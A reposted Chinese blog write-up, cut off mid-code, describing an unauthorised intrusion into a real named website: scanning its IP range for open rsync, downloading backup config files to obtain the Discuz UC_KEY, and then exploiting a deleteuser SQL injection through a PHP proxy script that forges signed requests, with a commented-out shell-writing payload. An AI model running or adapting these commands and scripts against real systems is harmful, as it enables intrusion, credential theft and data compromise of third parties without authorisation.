来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 看到rsync的这个文章http://www.2cto.com/Article/201307/226273.html,随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。www.fumu.comip 210.14.136.87按照文章给出的教程利用命令扫C段的rsync试下...
看到rsync的这个文章 http://www.2cto.com/Article/201307/226273.html ,
随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。
www.fumu.com ip 210.14.136.87
按照文章给出的教程利用命令扫C段的rsync试下
nmap -n --open -p 873 210.14.136.1-255
当我连接到93服务器时惊喜来了:
rsync 210.14.136.93::
主站就是用的phpcms,这里的phpcms模块应该就是备份的主站代码。
而bak目录貌似下备份了所有代码
查看一下:
rsync 210.14.136.93::bak
存在很多目录
找到bbs下的UC_KEY
rsync 210.14.136.93::bak/newbbs/config/
存在uc,找到data目录下的config.inc.php
同步下来看看内容:
rsync -vzrtopg --progress 210.14.136.93::bak/uc/data/config.inc.php /Users/test/fumubak
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/config/config_ucenter.php /Users/test/fumubak/
打开本地fumubak目录里的config_ucenter.php文件,找到UC_KEY。
利用UC_KEY里面的函数都可以直接调用了,看下uc.php里的函数:
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/api/uc.php /Users/test/fumubak/db
看到updateapps写文件,这是要写shell的漏洞啊,测了半天忽略了var_export函数,转义了单引号,无法截断。。。。。。
同时也有有synlogin可以设置cookie,已管理员的身份登录,但是dz进入后台需要再输入一遍密码无法进到后台。
最后发现deleteuser那里有个sql注入,同样利用http://drops.wooyun.org/tips/125思路。
把牛奶坦克那个脚本改一下做个代理方便注入:
<?php error_reporting(0); $host = "bbs.fumu.com"; //$doing = $argv[2]; $time = time()+10*3600; $getshell = 0; // if ($doing == 'login') { // // synlogin ,不过只登陆第一个admin帐户,如果uid1不是管理员,需要自己手工找下 // $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin'; // } elseif ($doing == 'shell' ) { // $code = 'time='.$time.'&action=updateapps'; // } elseif ($doing == 'temp' ) { // $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser'; // } else { // $doing = 'test'; // $code = 'time='.$time.'&action='.$doing; // } $sqlin = $_GET['id']; $sqlin=str_replace(" ","%20",$sqlin); $sqlin=str_replace("=","%3D",$sqlin); $code = 'time='.$time."&ids=$sqlin&action=deleteuser"; $uc_key = array( //'null' => '', 'bbs' => '59XXXXXXXXXXXXXXXX9Ib', //'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y' ); foreach ($uc_key as $key => $value) { $exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value)); //echo "http://$host/$exp"; $result = file_get_contents("http://$host/$exp"); print_r($result); //$status = get_headers("http://$host/$exp"); //if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){ //echo $result; //echo "[+] UC_KEY '$key' can use .\r\n"; //echo "[*] EXP = $exp \r\n"; /* if ( $getshell == 1 ) { //Get shell echo "[+]Getshell...\r\n"; $cmd = array( 'one' => '<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="appid">123\');phpinfo();//</item> </root>' ); foreach ($cmd as $key => $value) { $res = send($host,$exp,$value); } $getshell = 0; } print("[+]Try to http://$host/member/api/client/data/cache/apps.php or http://$host/uc_client/data/cache/apps.php\r\n"); */ / |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com